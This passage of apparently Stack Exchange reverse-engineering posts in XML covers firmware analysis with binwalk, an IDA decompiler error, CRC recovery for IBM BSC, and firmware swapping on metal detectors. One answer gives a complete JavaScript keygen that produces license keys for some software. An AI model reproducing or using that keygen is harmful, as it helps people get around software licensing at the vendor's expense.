reference: &quot;ecos/NT96660/ecos-2.0.6/packages/services/memalloc/common/v2_0_60/src/kapi.cxx&quot;&#xA;9504989       0x9108DD        eCos RTOS string reference: &quot;ecos-2.0.6/packages/services/memalloc/common/v2_0_60/src/kapi.cxx&quot;&#xA;9505136       0x910970        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/packages/language/c/libc/startup/v2_0_60/src/_exit.cxx&quot;&#xA;9505149       0x91097D        eCos RTOS string reference: &quot;ecos-2.0.6/packages/language/c/libc/startup/v2_0_60/src/_exit.cxx&quot;&#xA;9505300       0x910A14        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/packages/language/c/libc/startup/v2_0_60/src/invokemain.cxx&quot;&#xA;9505313       0x910A21        eCos RTOS string reference: &quot;ecos-2.0.6/packages/language/c/libc/startup/v2_0_60/src/invokemain.cxx&quot;&#xA;9505472       0x910AC0        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/packages/language/c/libc/startup/v2_0_60/src/main.cxx&quot;&#xA;9505485       0x910ACD        eCos RTOS string reference: &quot;ecos-2.0.6/packages/language/c/libc/startup/v2_0_60/src/main.cxx&quot;&#xA;9506128       0x910D50        Unix path: /cygdrive/c/project-ecos/NT96660/ecos-2.0.6/packages/io/eth/v2_0_60/src/net/eth_drv.c&#xA;9506148       0x910D64        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/packages/io/eth/v2_0_60/src/net/eth_drv.c&quot;&#xA;9506161       0x910D71        eCos RTOS string reference: &quot;ecos-2.0.6/packages/io/eth/v2_0_60/src/net/eth_drv.c&quot;&#xA;9509540       0x911AA4        Unix path: /cygdrive/c/project-ecos/NT96660/ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/memalloc/mvarimpl.inl&#xA;9509560       0x911AB8        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/memalloc/mvarimpl.inl&quot;&#xA;9509573       0x911AC5        eCos RTOS string reference: &quot;ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/memalloc/mvarimpl.inl&quot;&#xA;9510764       0x911F6C        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/packages/language/c/libc/startup/v2_0_60/src/atexit.cxx&quot;&#xA;9510777       0x911F79        eCos RTOS string reference: &quot;ecos-2.0.6/packages/language/c/libc/startup/v2_0_60/src/atexit.cxx&quot;&#xA;9511328       0x9121A0        eCos RTOS string reference: &quot;ecos p &quot;&#xA;9512114       0x9124B2        eCos RTOS string reference: &quot;ecos=0x%x&quot;&#xA;9515207       0x9130C7        eCos RTOS string reference: &quot;ECOS_CmdLine&quot;&#xA;9515227       0x9130DB        eCos RTOS string reference: &quot;ECOS_Open&quot;&#xA;9515247       0x9130EF        eCos RTOS string reference: &quot;ECOS_Mount&quot;&#xA;9515267       0x913103        eCos RTOS string reference: &quot;ECOS_Umount&quot;&#xA;9516040       0x913408        HTML document header&#xA;9517351       0x913927        HTML document footer&#xA;9519824       0x9142D0        HTML document header&#xA;9519933       0x91433D        HTML document footer&#xA;9519944       0x914348        HTML document header&#xA;9520064       0x9143C0        HTML document footer&#xA;9520480       0x914560        eCos RTOS string reference: &quot;eCos/1.0&quot;&#xA;9523675       0x9151DB        eCos RTOS string reference: &quot;ECOS_CmdLine&quot;&#xA;9523695       0x9151EF        eCos RTOS string reference: &quot;ECOS_Open&quot;&#xA;9525414       0x9158A6        eCos RTOS string reference: &quot;ECOS_CmdLine&quot;&#xA;9525438       0x9158BE        eCos RTOS string reference: &quot;ECOS_Open&quot;&#xA;9547888       0x91B070        Base64 standard index table&#xA;9549256       0x91B5C8        Unix path: /cygdrive/d/Firmware/__svn/ecos-kit/ThirdParty/eCos/include/cyg/libc/time/time.inl&#xA;9549283       0x91B5E3        eCos RTOS string reference: &quot;ecos-kit/ThirdParty/eCos/include/cyg/libc/time/time.inl&quot;&#xA;9549303       0x91B5F7        eCos RTOS string reference: &quot;eCos/include/cyg/libc/time/time.inl&quot;&#xA;9562672       0x91EA30        XML document, version: &quot;1.0&quot;&#xA;9565402       0x91F4DA        XML document, version: &quot;1.0&quot;&#xA;9565636       0x91F5C4        HTML document header&#xA;9565701       0x91F605        HTML document footer&#xA;9565872       0x91F6B0        Base64 standard index table&#xA;9566150       0x91F7C6        HTML document header&#xA;9566275       0x91F843        HTML document footer&#xA;9566556       0x91F95C        HTML document header&#xA;9566696       0x91F9E8        HTML document footer&#xA;9566708       0x91F9F4        HTML document header&#xA;9566738       0x91FA12        HTML document footer&#xA;9567232       0x91FC00        XML document, version: &quot;1.0&quot;&#xA;9568484       0x9200E4        SHA256 hash constants, little endian&#xA;9579171       0x922AA3        eCos RTOS string reference: &quot;ECOS_CmdLine&quot;&#xA;9579191       0x922AB7        eCos RTOS string reference: &quot;ECOS_Open&quot;&#xA;9580100       0x922E44        Unix path: /home/pluswang/nova/project-ecos/project-ecos/ecos-rtl8189es/install/include/cyg/io/eth/rltk/819x/wrapper/skbuff.h&#xA;9580128       0x922E60        eCos RTOS string reference: &quot;ecos/project-ecos/ecos-rtl8189es/install/include/cyg/io/eth/rltk/819x/wrapper/skbuff.h&quot;&#xA;9580141       0x922E6D        eCos RTOS string reference: &quot;ecos/ecos-rtl8189es/install/include/cyg/io/eth/rltk/819x/wrapper/skbuff.h&quot;&#xA;9580146       0x922E72        eCos RTOS string reference: &quot;ecos-rtl8189es/install/include/cyg/io/eth/rltk/819x/wrapper/skbuff.h&quot;&#xA;9626164       0x92E234        Unix path: /cygdrive/d/Project/eCos/ecos-kit/ThirdParty/eCos/include/cyg/libc/time/time.inl&#xA;9626184       0x92E248        eCos RTOS string reference: &quot;eCos/ecos-kit/ThirdParty/eCos/include/cyg/libc/time/time.inl&quot;&#xA;9626189       0x92E24D        eCos RTOS string reference: &quot;ecos-kit/ThirdParty/eCos/include/cyg/libc/time/time.inl&quot;&#xA;9626209       0x92E261        eCos RTOS string reference: &quot;eCos/include/cyg/libc/time/time.inl&quot;&#xA;9626400       0x92E320        PEM RSA private key&#xA;9626596       0x92E3E4        PEM certificate&#xA;9626700       0x92E44C        Private key in DER format (PKCS header length: 4, sequence length: 605&#xA;9628092       0x92E9BC        Unix path: /cygdrive/c/project-ecos/NT96660/ecos-2.0.6/packages/infra/v2_0_60/src/pure.cxx&#xA;9628112       0x92E9D0        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/packages/infra/v2_0_60/src/pure.cxx&quot;&#xA;9628125       0x92E9DD        eCos RTOS string reference: &quot;ecos-2.0.6/packages/infra/v2_0_60/src/pure.cxx&quot;&#xA;9628292       0x92EA84        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/packages/language/c/libc/startup/v2_0_60/src/abort.cxx&quot;&#xA;9628305       0x92EA91        eCos RTOS string reference: &quot;ecos-2.0.6/packages/language/c/libc/startup/v2_0_60/src/abort.cxx&quot;&#xA;9628432       0x92EB10        eCos RTOS string reference: &quot;ecos/NT96660/ecos-2.0.6/packages/language/c/libc/stdlib/v2_0_60/src/qsort.cxx&quot;&#xA;9628445       0x92EB1D        eCos RTOS string reference: &quot;ecos-2.0.6/packages/language/c/libc/stdlib/v2_0_60/src/qsort.cxx&quot;&#xA;9644452       0x9329A4        HTML document header&#xA;9644572       0x932A1C        HTML document footer&#xA;9645052       0x932BFC        XML document, version: &quot;1.0&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also have a pretty good reason to believe the binary is not encrypted:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ElHvY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ElHvY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any guidance or direction to resources would be extremely helpful, thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="20084" LastActivityDate="2020-01-26T15:52:24.513" Title="Analyzing firmware image (eCos with YAFFS)" Tags="|firmware|file-format|firmware-analysis|binwalk|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23113" PostTypeId="1" CreationDate="2020-01-26T16:14:07.653" Score="1" ViewCount="142" Body="&lt;p&gt;I am looking after for a command-line tool that can perform dynamic view hierarchy analysis similar to the UI tool in Android Studio &lt;a href=&quot;https://developer.android.com/studio/debug/layout-inspector&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developer.android.com/studio/debug/layout-inspector&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an existing tool for this? Or just some lower-level API that I can program to implement the tool. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="30907" LastActivityDate="2020-05-01T01:12:25.923" Title="Android dynamic UI state inspection/profiling tool" Tags="|malware|android|dynamic-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23115" PostTypeId="2" ParentId="23094" CreationDate="2020-01-26T19:17:38.423" Score="1" Body="&lt;p&gt;I did not find anything using the whole message; however, because the last 5 bytes are the same in all the messages you provided, I omitted them one by one and ran reveng on the truncated messages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;reveng provides the following output if we leave out the last 4 bytes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./reveng -w 8 -s 301300B9 31130036 321300BA 33130035&#xA;width=8  poly=0x1d  init=0xff  refin=false  refout=false  xorout=0xff  check=0x4b  residue=0xc4  name=&quot;CRC-8/SAE-J1850&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This algorithm works for all of the samples you provided. &lt;/p&gt;&#xA;" OwnerUserId="30664" LastActivityDate="2020-01-26T19:17:38.423" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23117" PostTypeId="1" AcceptedAnswerId="23121" CreationDate="2020-01-27T04:11:54.207" Score="0" ViewCount="1387" Body="&lt;p&gt;I'm trying to analyze a binary that I unpacked, rebuilt, and dumped, using Scylla. After loading it into IDA and viewing pseudocode, I can see that there are errors where IDA tells me that it notices writes to constant memory addresses. After some searching online, I find that this seems quite common, but I haven't really come across a solution for fixing it, and I've just tried to ignore it up to now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IAwoR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IAwoR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/32Agt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/32Agt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first, I tried to just change all my segments to have write access, but that didn't seem to change anything. &lt;code&gt;0x007F944F&lt;/code&gt; is the first memory error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would anyone mind telling me how I go about to solve this? Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Here is the entire disassembly of that function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.MPRESS1:007F93F2                     align 10h&#xA;.MPRESS1:007F9400&#xA;.MPRESS1:007F9400     ; =============== S U B R O U T I N E =======================================&#xA;.MPRESS1:007F9400&#xA;.MPRESS1:007F9400     ; Attributes: bp-based frame&#xA;.MPRESS1:007F9400&#xA;.MPRESS1:007F9400     sub_7F9400      proc near               ; CODE XREF: Stool__ctor+6F↑p&#xA;.MPRESS1:007F9400                                             ; Stool__ctor+91↑p ...&#xA;.MPRESS1:007F9400&#xA;.MPRESS1:007F9400     a3              = dword ptr  8&#xA;.MPRESS1:007F9400     u0              = dword ptr  0Ch&#xA;.MPRESS1:007F9400&#xA;.MPRESS1:007F9400 000                 push    ebp&#xA;.MPRESS1:007F9401 004                 mov     ebp, esp&#xA;.MPRESS1:007F9403 004                 cmp     ds:lpParameter, 0&#xA;.MPRESS1:007F940A 004                 jz      short loc_7F9410&#xA;.MPRESS1:007F940C 004                 xor     eax, eax&#xA;.MPRESS1:007F940E 004                 pop     ebp&#xA;.MPRESS1:007F940F 000                 retn&#xA;.MPRESS1:007F9410     ; ---------------------------------------------------------------------------&#xA;.MPRESS1:007F9410&#xA;.MPRESS1:007F9410     loc_7F9410:                             ; CODE XREF: sub_7F9400+A↑j&#xA;.MPRESS1:007F9410 004                 push    esi             ; a2&#xA;.MPRESS1:007F9411 008                 push    offset sub_7F49C0 ; lpTopLevelExceptionFilter&#xA;.MPRESS1:007F9416 00C                 call    ds:SetUnhandledExceptionFilter&#xA;.MPRESS1:007F941C 008                 push    3DA4h           ; size_t&#xA;.MPRESS1:007F9421 00C                 mov     esi, eax        ; a2&#xA;.MPRESS1:007F9423 00C                 call    ??2@YAPAXI@Z    ; operator new(uint)&#xA;.MPRESS1:007F9428 00C                 add     esp, 4&#xA;.MPRESS1:007F942B 008                 test    eax, eax&#xA;.MPRESS1:007F942D 008                 jz      short loc_7F9438&#xA;.MPRESS1:007F942F 008                 mov     ecx, eax&#xA;.MPRESS1:007F9431 008                 call    StoolGuard__ctor&#xA;.MPRESS1:007F9436 008                 jmp     short loc_7F943A&#xA;.MPRESS1:007F9438     ; ---------------------------------------------------------------------------&#xA;.MPRESS1:007F9438&#xA;.MPRESS1:007F9438     loc_7F9438:                             ; CODE XREF: sub_7F9400+2D↑j&#xA;.MPRESS1:007F9438 008                 xor     eax, eax&#xA;.MPRESS1:007F943A&#xA;.MPRESS1:007F943A     loc_7F943A:                             ; CODE XREF: sub_7F9400+36↑j&#xA;.MPRESS1:007F943A 008                 push    [ebp+a3]        ; a2&#xA;.MPRESS1:007F943D 00C                 mov     ecx, eax        ; a1&#xA;.MPRESS1:007F943F 00C                 mov     ds:lpParameter, eax&#xA;.MPRESS1:007F9444 00C                 call    sub_7F6610&#xA;.MPRESS1:007F9449 008                 mov     ecx, ds:lpParameter&#xA;.MPRESS1:007F944F 008                 mov     [ecx+10h], eax&#xA;.MPRESS1:007F9452 008                 cmp     eax, 755h&#xA;.MPRESS1:007F9457 008                 jz      short loc_7F9460&#xA;.MPRESS1:007F9459 008                 call    sub_7F4B00&#xA;.MPRESS1:007F945E 008                 jmp     short loc_7F9476&#xA;.MPRESS1:007F9460     ; ---------------------------------------------------------------------------&#xA;.MPRESS1:007F9460&#xA;.MPRESS1:007F9460     loc_7F9460:                             ; CODE XREF: sub_7F9400+57↑j&#xA;.MPRESS1:007F9460 008                 cmp     ds:byte_8EB238, 0&#xA;.MPRESS1:007F9467 008                 jz      short loc_7F9476&#xA;.MPRESS1:007F9469 008                 push    offset byte_8EB238 ; lpString&#xA;.MPRESS1:007F946E 00C                 call    SToolGameGuard__Nop3&#xA;.MPRESS1:007F9473 00C                 add     esp, 4&#xA;.MPRESS1:007F9476&#xA;.MPRESS1:007F9476     loc_7F9476:                             ; CODE XREF: sub_7F9400+5E↑j&#xA;.MPRESS1:007F9476                                             ; sub_7F9400+67↑j&#xA;.MPRESS1:007F9476 008                 mov     eax, ds:lpParameter&#xA;.MPRESS1:007F947B 008                 mov     eax, [eax+18h]&#xA;.MPRESS1:007F947E 008                 test    eax, eax&#xA;.MPRESS1:007F9480 008                 jz      short loc_7F9489&#xA;.MPRESS1:007F9482 008                 push    eax             ; hEvent&#xA;.MPRESS1:007F9483 00C                 call    ds:SetEvent&#xA;.MPRESS1:007F9489&#xA;.MPRESS1:007F9489     loc_7F9489:                             ; CODE XREF: sub_7F9400+80↑j&#xA;.MPRESS1:007F9489 008                 mov     eax, ds:lpParameter&#xA;.MPRESS1:007F948E 008                 mov     eax, [eax+1Ch]&#xA;.MPRESS1:007F9491 008                 test    eax, eax&#xA;.MPRESS1:007F9493 008                 jz      short loc_7F949E&#xA;.MPRESS1:007F9495 008                 push    0               ; uExitCode&#xA;.MPRESS1:007F9497 00C                 push    eax             ; hProcess&#xA;.MPRESS1:007F9498 010                 call    ds:TerminateProcess&#xA;.MPRESS1:007F949E&#xA;.MPRESS1:007F949E     loc_7F949E:                             ; CODE XREF: sub_7F9400+93↑j&#xA;.MPRESS1:007F949E 008                 test    esi, esi&#xA;.MPRESS1:007F94A0 008                 jz      short loc_7F94A9&#xA;.MPRESS1:007F94A2 008                 push    esi             ; lpTopLevelExceptionFilter&#xA;.MPRESS1:007F94A3 00C                 call    ds:SetUnhandledExceptionFilter&#xA;.MPRESS1:007F94A9&#xA;.MPRESS1:007F94A9     loc_7F94A9:                             ; CODE XREF: sub_7F9400+A0↑j&#xA;.MPRESS1:007F94A9 008                 mov     eax, ds:lpParameter&#xA;.MPRESS1:007F94AE 008                 pop     esi&#xA;.MPRESS1:007F94AF 004                 mov     eax, [eax+10h]&#xA;.MPRESS1:007F94B2 004                 pop     ebp&#xA;.MPRESS1:007F94B3 000                 retn&#xA;.MPRESS1:007F94B3     sub_7F9400      endp&#xA;.MPRESS1:007F94B3&#xA;.MPRESS1:007F94B3     ; ---------------------------------------------------------------------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19423" LastEditorUserId="19423" LastEditDate="2020-01-27T08:02:44.147" LastActivityDate="2020-01-27T09:13:33.623" Title="IDA - How to resolve &quot;Write access to const memory detected&quot; error?" Tags="|ida|decompilation|error|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23118" PostTypeId="2" ParentId="23117" CreationDate="2020-01-27T06:39:28.333" Score="1" Body="&lt;p&gt;As far as I can see according to the decompiler output the program accesses not-existing (not created) segment at address 0x0. This may be a reason why it thinks that some memory is not writeable.&#xA;You can check this by creating a segment with r/w permissions at address 0 and size at least 0x20.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition as we can see from the full listing of the function the decompiler does not generate a correct code. All the accesses marked as &lt;code&gt;MEMORY[SOME_OFFSET]&lt;/code&gt; should be relative to &lt;code&gt;ds:lpParameter&lt;/code&gt;, not to 0. &lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2020-01-27T08:09:07.100" LastActivityDate="2020-01-27T08:09:07.100" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="23119" PostTypeId="1" CreationDate="2020-01-27T07:20:10.320" Score="0" ViewCount="167" Body="&lt;p&gt;Minelab have a metal detector called the equinox, there are 2 models which are essentially the same apart from the price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The minelab equinox 600 is the cheaper model&#xA;The minelab equinox 800 is the more expensive model&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would there be away to copy the 800 software and put it onto the 600?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;minelab have released 3 updates over the last 6 months, it could be possible to dump the 800 firmware and load onto the 600? this could save the user £200+ between models.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wondered if anyone has ever done anything like this with a metal detector?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a 600 and my friend have the 800 if anyone knows how i could dump the firmware from both and compare them.&lt;/p&gt;&#xA;" OwnerUserId="30914" LastActivityDate="2020-01-28T10:41:37.377" Title="Is it possible to reverse engineer a minelab metal detector?" Tags="|firmware|" AnswerCount="1" CommentCount="1" ClosedDate="2020-02-06T19:49:25.090" ContentLicense="CC BY-SA 4.0" />
  <row Id="23120" PostTypeId="2" ParentId="23101" CreationDate="2020-01-27T08:23:57.493" Score="1" Body="&lt;p&gt;I'm write keygen random: &lt;code&gt;keygen('ALVMGRCTQQEYMNAHDANKPGKPO')&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wSLNc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wSLNc.png&quot; alt=&quot;run&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;GSFLOWZJOEWPOQFXFHVASFTPNBNTEJ      -&amp;gt;      G060?9@@7&amp;gt;684A8&amp;lt;712&amp;lt;2=&amp;lt;0A8A::8&#xA;&#xA;060?9@@7&amp;gt;68           4A8&amp;lt;712&amp;lt;2=&amp;lt;            0A8A::8&#xA;01949999431597        030156882999840        43256662 (length 14 + 15 + 8 = 37)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;0194999943159703015688299984043256662&lt;/strong&gt; this satisfy with &lt;strong&gt;0194x999xxxxxx03015688xxxxx404325666x&lt;/strong&gt; :D&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// example&#xA;keygen('ALVMGRCTQQEYMNAHDANKPGKPO')&#xA;// source&#xA;function keygen(code) {&#xA; let indexes = [&#xA;  [3, 4, 28, 29,  6,  7,  8,  9, 10, 11, 12, 13, 14, 15,  5, 17, 18, 19, 20, 21, 22],&#xA;  [3, 4,  1,  2, 29, 30, 15, 16, 31, 32, 33, 34, 35, 36, 28, 17, 18, 19, 20, 21, 22]&#xA; ]&#xA; code = encodeString(code)&#xA; let num = encodeNumber(code.substr(1, 12)).toString().padStart(15,0)+encodeNumber(code.substr(13, 12)).toString().padStart(15,0)&#xA; let key = [...Array(37)].map((e,i)=&amp;gt;[5,6,7].indexOf(i) &amp;gt;= 0 ? '9' : Math.floor(Math.random()*10).toString())&#xA; indexes[0].forEach((e,i)=&amp;gt;key[indexes[1][i]-1]=num[e-1]), key = key.join('')&#xA;&#xA; let result = decodeNumber(key.substr(0, 14)).padStart(11,0)+decodeNumber(key.substr(14, 15)).padStart(11,0)+decodeNumber(key.substr(29, 8)).padStart(7,0)&#xA; return decodeString(sum(result,0)+result)&#xA;}&#xA;&#xA;var alphabet = `SDHACENOIFKXQLBMPJTZURWVGY`&#xA;function encodeString(s) {&#xA; let result = s.charAt(0), idx = alphabet.indexOf(s.charAt(0))&#xA; for (let i=0; i&amp;lt;s.length-1; i++) {&#xA;  result += String.fromCharCode((alphabet.indexOf(s.charAt(i + 1))-idx-i+284)%26+48) &#xA;  idx = alphabet.indexOf(s.charAt(i + 1))&#xA; }&#xA; return result&#xA;}&#xA;function decodeString(s) {&#xA; let result = s.charAt(0), idx = alphabet.indexOf(s.charAt(0))&#xA; for (let i=0; i&amp;lt;s.length-1; i++) {&#xA;  let num = (s.charCodeAt(i + 1) - 48)&#xA;  idx = [...alphabet].findIndex((x,y) =&amp;gt; (y-idx-i+284)%26 == num)&#xA;  result += alphabet[idx]&#xA; }&#xA; return result&#xA;}&#xA;function encodeNumber(s) {&#xA; let n = 0, l = 1&#xA; for (let i=s.length; i&amp;gt;0; i--) {&#xA;  let c = (s.charCodeAt(i-1)-48)*l&#xA;  n += c, l *= 19&#xA; }&#xA; return n&#xA;}&#xA;function decodeNumber(n) {&#xA; let c = 0, s = []&#xA; for (let i=0; c != n; i++) {&#xA;  let v = (n % 19**(i+1))&#xA;  s.push((v-c)/19**i+48)&#xA;  c = v&#xA; }&#xA; return String.fromCharCode.apply(null, s.reverse())&#xA;}&#xA;function sum(s, idx = 1) {&#xA; let cs = 0&#xA; for (; idx &amp;lt; s.length; idx++) cs+=s.charCodeAt(idx)&#xA; return alphabet[cs%25]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29081" LastActivityDate="2020-01-27T08:23:57.493" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23121" PostTypeId="2" ParentId="23117" CreationDate="2020-01-27T09:13:33.623" Score="1" Body="&lt;p&gt;At a guess, &lt;code&gt;lpParameter&lt;/code&gt; is located in a segment marked read-only (e.g. a code section), so the decompiler considers its value to be constant (probably zero) which is why all subsequent accesses are also zero-based. There are two solutions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Mark the segment containing &lt;code&gt;lpParameter&lt;/code&gt; to be writable (edit segment properties). In case the writable data is a small part of the otherwise read-only segment, creating a new segment just for data is a good idea&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Mark only &lt;code&gt;lpParameter&lt;/code&gt; as writable by adding &lt;code&gt;volatile&lt;/code&gt; specifier to its type definition (use the &lt;kbd&gt;Y&lt;/kbd&gt; key). In a similar manner, an otherwise writable variable can be marked as constant by adding a &lt;code&gt;const&lt;/code&gt; specifier.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Reference: &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/manual/tricks.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;Volatile and Constant memory&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-01-27T09:13:33.623" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23123" PostTypeId="1" AcceptedAnswerId="23129" CreationDate="2020-01-27T10:21:47.367" Score="3" ViewCount="379" Body="&lt;p&gt;I am trying to connect to an old piece of communication controller which use the IBM BSC synchronous protocol but I have problems to get the CRC right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Background&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The protocol itself is described quite well in this document: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitsavers.trailing-edge.com/pdf/ibm/datacomm/GA27-3004-2_General_Information_Binary_Synchronous_Communications_Oct70.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bitsavers.trailing-edge.com/pdf/ibm/datacomm/GA27-3004-2_General_Information_Binary_Synchronous_Communications_Oct70.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sending communication processor is using the Motorola MC6852 chip. But the chip doesn't have hardware crc circuitry so there are software inside the comm. processor that does crc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The actual communication controller is described here: &lt;a href=&quot;http://storage.datormuseum.se/u/96935524/Datormusuem/Alfaskop/Alfaskop_System_41_Reference_Manual_IBM3270_Emulation.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://storage.datormuseum.se/u/96935524/Datormusuem/Alfaskop/Alfaskop_System_41_Reference_Manual_IBM3270_Emulation.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Page 89 and onwards describes its use of BSC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then since this piece of equipment is IBM 3274 model C compatible this manual is applicable: &lt;a href=&quot;http://bitsavers.informatik.uni-stuttgart.de/pdf/ibm/3274/GA23-0061-1_3274_Control_Unit_Description_and_Programmers_Guide_Jan84.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bitsavers.informatik.uni-stuttgart.de/pdf/ibm/3274/GA23-0061-1_3274_Control_Unit_Description_and_Programmers_Guide_Jan84.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Page 159 and onwards has essentially the same information as the other document.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Actual Messages&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have captured two messages sent by actual communication processor. Please note that the messages are coded in EBCDIC and not ASCII. These are responses to a POLL message. Page 172 and 175 in the IBM document above:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;32 01 6C D9 02 40 40 40 70 03 26 88&#xA;and&#xA;32 01 6C D9 02 40 C8 40 50 03 0D 28&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From my reading of the IBM document the CRC algorithm will reset when it sees a 01 (SOH) or 02 (STX)  and then accumulate until it sees a 03 (ETX). A SOH followed by a STX will not reset CRC again at the STX, though. Essentially this means that the CRC bytes in the messages above are the 2688 and 0D28. There is a leading SYN (32) but that is not included in the CRC calculation since it is before the SOH character. The message used for CRC calculation is then:&#xA;6C D9 02 40 40 40 70 03 and  6C D9 02 40 C8 40 50 03 respectively. The SOH is not part of the calculation, however the trailing ETX just before the CRC is part of the CRC calculation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The messages above are received by an Intel 8274 chip. No CRC checking was done in the Intel chip though. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the Intel 8274 chip do include a CRC checker/generator I should be able to both generate correctly formatted messages and to receive messages for further checking and investigation. I will pursue this path a bit to see if I could both receive and send using the 8274 chip and what CRC values that are generated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 8274 chip itself supports two CRC algorithms. CRC-16 and CCITT CRC-16. My understanding is that IBM used CRC-16 with the polynomial X^16+X^15+X^2+1. I.e 8005. What initial value for crc was used is not described anywhere what I can see. A good guess though would be 0000h or possibly ffffh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The situation is that I would like to use a small STM32 micro controller to handle the BSC communications. I successfully had the program to achieve sync with the incoming data and extracted correctly formatted messages. But obviously communication would not work unless I can get the CRC calculation correct. WIP: &lt;a href=&quot;https://github.com/MattisLind/alfaskop_emu/tree/master/Utils/BSCGateway&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/MattisLind/alfaskop_emu/tree/master/Utils/BSCGateway&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CRC reveng troubles&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried crc reveng tool to calculate CRC digits but I cannot get a match with the data above. Neither can I use crc reveng to search for an algorithm. It constantly reports that no models where 